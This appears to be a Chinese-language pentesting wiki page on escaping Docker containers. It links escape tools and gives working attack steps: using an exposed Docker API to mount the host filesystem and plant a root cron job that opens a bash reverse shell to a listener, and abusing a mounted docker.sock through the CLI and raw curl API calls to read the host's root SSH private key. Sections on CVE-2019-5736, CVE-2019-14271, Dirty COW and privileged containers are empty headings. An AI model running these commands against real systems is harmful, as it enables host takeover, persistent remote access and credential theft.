逃逸

    一个工具https://github.com/stealthcopter/deepce
    二个工具https://github.com/gabrtv/shocker

判断是否在docker容器中

    检查/.dockerenv文件是否存在
    检查/proc/1/cgroup内是否包含"docker"等字符串。
    mount、fdisk -l查看硬盘 、判断PID 1的进程名

配置不当引发的逃逸

    挂载点/在宿主/mnt目录
    >docker -H tcp://10.1.1.1:2375 run -it -v /:/mnt nginx:latest /bin/bash
    容器内执行
    >echo '* * * * * /bin/bash -i >& /dev/tcp/10.1.1.2/4444 0>&1' >> /mnt/var/spool/cron/crontabs/root
    本地监听4444,获得宿主机shell

Docker sock

    Docker.sock 是一个 Unix 套接字,它使 Docker 服务器端守护进程 dockerd 能够通过 REST API 与其命令行接口进行通信。 套接字显示为 /var/run/docker.sock 文件。 因为它是一个文件,管理员可以在容器中共享和运行 docker.sock,然后使用它与该容器进行通信。 运行 docker.sock 的容器可以启动或停止其他容器,在主机上创建镜像或写入主机文件系统。 这一切意味着当您运行“docker”命令行工具时,它实际上是在与 docker 套接字通信。
    有时开发人员会将 docker 套接字安装在 docker 容器内,以便他们可以管理其他容器。 这通常使用以下命令完成::
    docker run -v /var/run/docker.sock:/var/run/docker.sock ubuntu:latest
    注意“-v /var/run/docker.sock:/var/run/docker.sock”选项,这个标志将在 docker 容器内挂载 docker 套接字。 攻击者所要做的就是下载 docker CLI,他们将完全控制 docker API,这将允许他们删除容器、创建容器、执行命令或其他任何他们想要的东西
    容器内找到docker.sock
    >find / -name docker.sock
    容器内查看宿主机信息
    >docker -H unix:///var/位置 info
    运行一个容器挂载宿主机根路径
    >docker -H unix:///var/位置 run -it -v /:/test ubuntu /bin/bash
    查看宿主机文件
    >ls /test
    手动操作
    查看可用的镜像
    curl --unix-socket docker.sock http://localhost/images/json -s
    创建一个容器
    curl --unix-socket docker.sock -s -H 'Content-Type: application/json' -d '{"Hostname": "", "Domainname": "", "User": "", "AttachStdin": true, "AttachStdout": true, "AttachStderr": true, "Tty": true, "OpenStdin": true, "StdinOnce": true, "Entrypiont": "/bin/sh", "Image": "容器名称", "Volumes": {"/host/": {}}, "HostConfig": {"Binds": ["/:/host"]}}' http://localhost/containers/create
    启动容器
    curl --unix-socket docker.sock -s -X POST http://localhost/containers/容器ID/start
    创建任务
    curl --unix-socket docker.sock -s -H 'Content-Type: application/json' -d '{"AttachStdin": true, "AttachStdout": true, "AttachStderr": true, "Cmd": ["ls", "/host/"], "Privileged": true, "Tty": true }' http://localhost/containers/容器ID/exec
    任务回显
    curl --unix-socket docker.sock -s -H 'Content-Type: application/json' -d '{"Detach": false, "Tty": false}' http://localhost/exec/任务ID/start -o-
    列出root .ssh目录
    curl --unix-socket docker.sock -s -H 'Content-Type: application/json' -d '{"AttachStdin": true, "AttachStdout": true, "AttachStderr": true, "Cmd": ["ls", "/host/root/.ssh"], "Privileged": true, "Tty": true }' http://localhost/containers/容器ID/exec
    查看回显
    curl --unix-socket docker.sock -o- -H 'Content-Type: application/json' -d '{"Detach": false, "Tty": false}' http://localhost/exec/任务ID/start
    创建任务
    curl --unix-socket docker.sock -s -H 'Content-Type: application/json' -d '{"AttachStdin": true, "AttachStdout": true, "AttachStderr": true, "Cmd": ["cat", "/host/root/.ssh/id_rsa"], "Privileged": true, "Tty": true }' http://localhost/containers/容器ID/exec
    查看私钥
    curl --unix-socket docker.sock -o- -H 'Content-Type: application/json' -d '{"Detach": false, "Tty": false}' http://localhost/exec/任务ID/start

特权用户

CVE-2019-5736

CVE-2019-14271

脏牛漏洞实现Docker逃逸

能力

最后更新于

这有帮助吗?